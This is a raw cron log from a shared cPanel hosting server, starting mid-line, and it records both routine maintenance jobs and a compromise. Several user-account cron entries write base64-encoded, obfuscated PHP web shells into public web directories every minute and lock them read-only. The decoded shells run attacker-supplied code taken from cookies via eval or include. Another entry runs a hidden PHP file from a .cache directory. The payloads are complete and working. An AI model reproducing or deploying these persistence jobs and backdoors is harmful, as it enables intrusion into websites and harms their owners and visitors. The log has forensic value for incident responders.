FsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:22:01 medusa CROND[16738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:22:01 medusa CROND[16733]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:22:01 medusa CROND[16742]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:23:01 medusa CROND[7300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:23:01 medusa CROND[7302]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:23:01 medusa CROND[7301]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:23:01 medusa CROND[7303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:23:01 medusa CROND[7304]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:23:01 medusa CROND[7307]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:23:01 medusa CROND[7308]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:23:01 medusa CROND[7312]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:23:01 medusa CROND[7317]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:23:01 medusa CROND[7318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:23:01 medusa CROND[7320]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:23:01 medusa CROND[7325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:24:01 medusa CROND[31420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:24:01 medusa CROND[31529]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:24:01 medusa CROND[31530]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:24:01 medusa CROND[31531]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:24:01 medusa CROND[31532]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:24:01 medusa CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:24:01 medusa CROND[31535]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:24:01 medusa CROND[31538]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:24:01 medusa CROND[31539]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:24:01 medusa CROND[31547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:24:01 medusa CROND[31546]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:24:01 medusa CROND[31548]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:24:01 medusa CROND[31551]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:25:01 medusa CROND[23660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:25:01 medusa CROND[23670]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:25:01 medusa CROND[23774]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:25:01 medusa CROND[23776]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:25:01 medusa CROND[23781]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:25:01 medusa CROND[23802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:25:01 medusa CROND[23804]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:25:01 medusa CROND[23805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:25:01 medusa CROND[23806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:25:01 medusa CROND[23811]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:25:01 medusa CROND[23812]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:25:01 medusa CROND[23815]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:25:01 medusa CROND[23817]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
